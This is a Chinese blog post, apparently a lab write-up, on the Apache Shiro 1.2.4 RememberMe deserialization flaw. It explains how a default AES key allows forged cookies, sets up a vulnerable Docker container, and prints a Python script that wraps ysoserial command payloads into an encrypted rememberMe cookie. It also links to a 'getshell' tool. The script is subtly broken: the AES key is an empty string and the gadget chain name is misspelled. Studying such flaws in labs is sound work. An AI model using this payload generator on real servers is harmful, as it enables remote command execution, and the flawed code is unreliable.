Shiro1.2.4RememberMe反序列化漏洞

Shiro1.2.4RememberMe反序列化漏洞

针对Shiro版本1.2.4以下有效,Shiro是一个java框架

漏洞原理

Apache Shiro 有记住密码的功能,在登录成功后会生成字段setcookie

而这个cookie值是经过序列化---AES加密---base64编码得到

而在Shiro<1.2.4文件中可以找到默认的aes密钥,导致可以伪造这个cookie,导致反序列化漏洞

环境搭建

直接采用docker搭建shiro环境

docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 -p 7777:6666 medicean/vulapps:s_shiro_1
访问127.0.0.1

image-20210509155634526

登录时点击记住密码,抓包后发到repeater

image-20210509155731468

可以看到服务端setcookie中的rememberme字段

生成payload脚本

# -- coding: utf-8 --
import sys
import uuid  #导入唯一标识库
import base64
import subprocess
from Crypto.Cipher import AES  #导入aes


def encode(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollects6', command], stdout=subprocess.PIPE)   #创建一个子进程,输出到管道中
    bs = AES.block_size
    pad = lambda s: s + ((bs - len(s) % bs) * chr(bs - len(s) % bs)).encode()  #算法
    key = base64.b64decode("")
    iv = uuid.uuid4().bytes  #生成初始向量
    encryptor  = AES.new(key,AES.MODE_CBC,iv)  #初始化aes
    file_body = pad(popen.stdout.read())    #从pipe中读数据放入加密算法
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode(sys.argv[1])   #获取外部输入的第一个参数
    print 'rememberMe={}'.format(payload.decode())

https://toscode.gitee.com/lmdy/ShiroExploit 【利用漏洞getshell工具】

https://www.xpshuai.cn/posts/40239/#toc-heading-10【参考链接】

posted @ 2021-07-10 15:02  cjz12138  阅读(230)  评论(0编辑  收藏  举报